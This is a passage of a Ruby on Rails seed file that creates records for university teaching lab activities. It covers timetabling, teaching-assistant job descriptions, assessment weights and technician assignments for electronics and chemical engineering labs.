programme_id: $prog_eee.id).first_or_create!\n\n\n a386 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE163\").first.id, code: \"312\").first_or_create!(name: \"System Design Analysis\",\n name_abrv: \"Pull apart\", archived: false, in_drive: false, user_id: 4)\n at386 = ActivityTimetable.where(activity_id: a386.id).first_or_create!(duration: 180, kit_prep_time: 30, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"The 2018-19 Semester 2 timetable is a disaster. I need to be able to interleave my once-a- fortnight lectures with the labs (as per Diamond ethos!). I.e all students need to attend a lab once per fortnight. Maybe use some (not all!)  Friday PM sessions?\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a386.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Pull Apart\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a386.id).first_or_create!(criteria: \"Enquiring mind necessary and sound mechanical engineering skills. A background in electronics would be helpful but not essential.\",\n job_desc:\"Assist students with reverse engineering of items of consumer electronics (light bulbs, printers, telephones, data projectors, etc) and marking of lab report.\", jobshop_desc: \"GTA in MEE, the Diamond: System Design Analysis\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a386.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a386.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a386.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a387 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1001\").first.id, code: \"400\").first_or_create!(name: \"Induction Lab\",\n name_abrv: \"COM-INDUCT\", archived: false, in_drive: false, user_id: 3)\n at387 = ActivityTimetable.where(activity_id: a387.id).first_or_create!(duration: 180, kit_prep_time: 240, min_week_num: nil, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a387.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a387.id).first_or_create!(criteria: \"EEE or COM students with some experience of soldering and basic electronics\",\n job_desc:\"Supervising students as they learn basic electronics and familiarise themselves with the lab space\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a387.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a387.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a387.id, programme_id: $prog_com.id).first_or_create!\n\n\n a388 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM3505\").first.id, code: \"401\").first_or_create!(name: \"Internet of Things\",\n name_abrv: \"IoT\", archived: false, in_drive: false, user_id: 5)\n at388 = ActivityTimetable.where(activity_id: a388.id).first_or_create!(duration: 120, kit_prep_time: 240, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"120 minute session, for 10 weeks\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a388.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a388.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a388.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a388.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a388.id, programme_id: $prog_com.id).first_or_create!\n\n\n a389 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1006\").first.id, code: \"402\").first_or_create!(name: \"FPGA Lab\",\n name_abrv: \"COM-FPGA\", archived: false, in_drive: false, user_id: 3)\n at389 = ActivityTimetable.where(activity_id: a389.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a389.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a389.id).first_or_create!(criteria: \"Knowledge of FPGA programmings and digital logic\",\n job_desc:\"Training students in simple FPGA programming of logic gates and adders\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a389.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a389.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a389.id, programme_id: $prog_com.id).first_or_create!\n\n\n a390 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6501\").first.id, code: \"240\").first_or_create!(name: \"MSc Shaddowbots\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at390 = ActivityTimetable.where(activity_id: a390.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: $room_cr4.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Kit needs to be moved\",\n capacity: 100, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at390.id, room_id: $room_ec.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a390.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a390.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a390.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a390.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n\n\n a391 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"100\").first_or_create!(name: \"Absorbtion\",\n name_abrv: \"DC2\", archived: false, in_drive: false, user_id: 2)\n at391 = ActivityTimetable.where(activity_id: a391.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a391.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a391.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a391.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a391.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a391.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a392 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR334\").first.id, code: \"101\").first_or_create!(name: \"Bio Plastics\",\n name_abrv: \"BIOPLAST\", archived: false, in_drive: false, user_id: 1)\n at392 = ActivityTimetable.where(activity_id: a392.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a392.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a392.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a392.id).first_or_create!(assess_weight: nil, notes: \"All assessment was handled by the AMRC\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a392.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a392.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a393 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6311\").first.id, code: \"102\").first_or_create!(name: \"Clean Energy\",\n name_abrv: \"CE\", archived: false, in_drive: false, user_id: 4)\n at393 = ActivityTimetable.where(activity_id: a393.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a393.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a393.id).first_or_create!(criteria: \"Interest/experience would suit people with engineering or physics backgrounds. Ideally, some general knowledge about electricity and perhaps renewable energy. This is considered small-scale equipment.\n\n\n\n\n\n\n This requires attention to detail and an ability to stick to deadlines and follow marking criteria. Should be capable of providing useful and constructive feedback. Marking through MOLE and can be done at a time to suit the GTA.\",\n job_desc:\"Supervising groups of students using the Heliocentris Clean Energy Trainer. This is considerd small-scale equipment. Training will be provided for the experiment. Ideally, two GTAs will be required, one of who will be required to mark all the submissions. Should also be prepared to answer enquiries through the discussion board. Please see row below for marking information.\n\n Marking of reports. Full training will be given. The first stage is to run the experiment, take measurements and process to give the results. This should give a good understanding of the experiment.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a393.id).first_or_create!(assess_weight: 20.0, notes: \"This involves a complete report - because it counts for 20% of the module: marking carried out by staff/GTA\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a393.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a393.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a394 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"103\").first_or_create!(name: \"Exp 1: Consigma Back\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at394 = ActivityTimetable.where(activity_id: a394.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a394.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a394.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a394.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a394.id).first_or_create!(cost_per_student: nil, equip_needed: \"ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a394.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a395 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"104\").first_or_create!(name: \"Exp1: Consigma Front\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at395 = ActivityTimetable.where(activity_id: a395.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 6, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a395.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a395.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. Statistical analysis will then be carried out to determine the variability of the measured and calculated values. As a GTA, training will be provided for the experiments, and you will be marking the students for their pre-lab and in lab assessments as well as assisting them to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a395.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a395.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a395.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a396 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"105\").first_or_create!(name: \"Exp 1: Cont Crystalliser\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at396 = ActivityTimetable.where(activity_id: a396.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a396.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a396.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a396.id).first_or_create!(assess_weight: 17.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a396.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a396.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a397 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE130\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 1)\n at397 = ActivityTimetable.where(activity_id: a397.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a397.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a397.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a397.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a397.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a397.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a398 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE103\").first.id, code: \"106\").first_or_create!(name: \"Demonstration for Crystalliser\",\n name_abrv: \"CR2\", archived: false, in_drive: false, user_id: 2)\n at398 = ActivityTimetable.where(activity_id: a398.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a398.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a398.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a398.id).first_or_create!(assess_weight: nil, notes: \"This is currently a demonstration, but a pre-lab and post-lab will be introduced\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a398.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a398.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a399 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE230\").first.id, code: \"107\").first_or_create!(name: \"Distillation\",\n name_abrv: \"DC1\", archived: false, in_drive: false, user_id: 5)\n at399 = ActivityTimetable.where(activity_id: a399.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a399.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a399.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a399.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a399.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a399.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a400 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"108\").first_or_create!(name: \"Experiment E2: Investigation of heat engines operating in open and closed systems\",\n name_abrv: \"E2\", archived: false, in_drive: false, user_id: 1)\n at400 = ActivityTimetable.where(activity_id: a400.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a400.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jn5df35\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a400.id).first_or_create!(criteria: \"Interest/experience in cylinders, volume measurement and valves. The equipment is considered to be small scale. No data acquisition, just manual measurements.\",\n job_desc:\"Supervising groups of students using simple heat engine. Training will be provided for the experiment. Typically up to two GTAs will be required per session.\", jobshop_desc: \"GTA in MEE, the Diamond: Chem/Chem Eng Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a400.id).first_or_create!(assess_weight: 2.5, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a400.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a400.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a401 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"109\").first_or_create!(name: \"Exp 2: Carousel Filter Dryer\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at401 = ActivityTimetable.where(activity_id: a401.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a401.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a401.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a401.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a401.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a401.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a402 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"CPE007\").first.id, code: \"110\").first_or_create!(name: \"Enthalpies of Combustion\",\n name_abrv: \"FY2\", archived: false, in_drive: false, user_id: 2)\n at402 = ActivityTimetable.where(activity_id: a402.id).first_or_create!(duration: 90, kit_prep_time: 60, min_week_num: 4, max_week_num: 4, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a402.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a402.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a402.id).first_or_create!(assess_weight: 2.0, notes: \"Prelab (in workbook) + Conduct Lab + Post-lab prescriptive calculations/presentation of results\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a402.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a402.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a403 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"111\").first_or_create!(name: \"Experiment 3 (student proposals)\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at403 = ActivityTimetable.where(activity_id: a403.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 5, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a403.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a403.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a403.id).first_or_create!(assess_weight: 33.0, notes: \"The pre-lab involved the GTA asking questions to check preparation - to the group: marking carried out by staff\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a403.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a403.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a404 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"112\").first_or_create!(name: \"Experiment E1: Measurement of kappa for air by pressure measurement\",\n name_abrv: \"E1\", archived: false, in_drive: false, user_id: 2)\n at404 = ActivityTimetable.where(activity_id: a404.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 15, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a404.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jjd5ugd\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a404.id).first_or_create!(criteria: \"Interest/experience in pumps, valves, P/T measurement and data acquisition. The equipment is considered to be medium scale.\",\n job_desc:\"Supervising groups of students using the Armfield 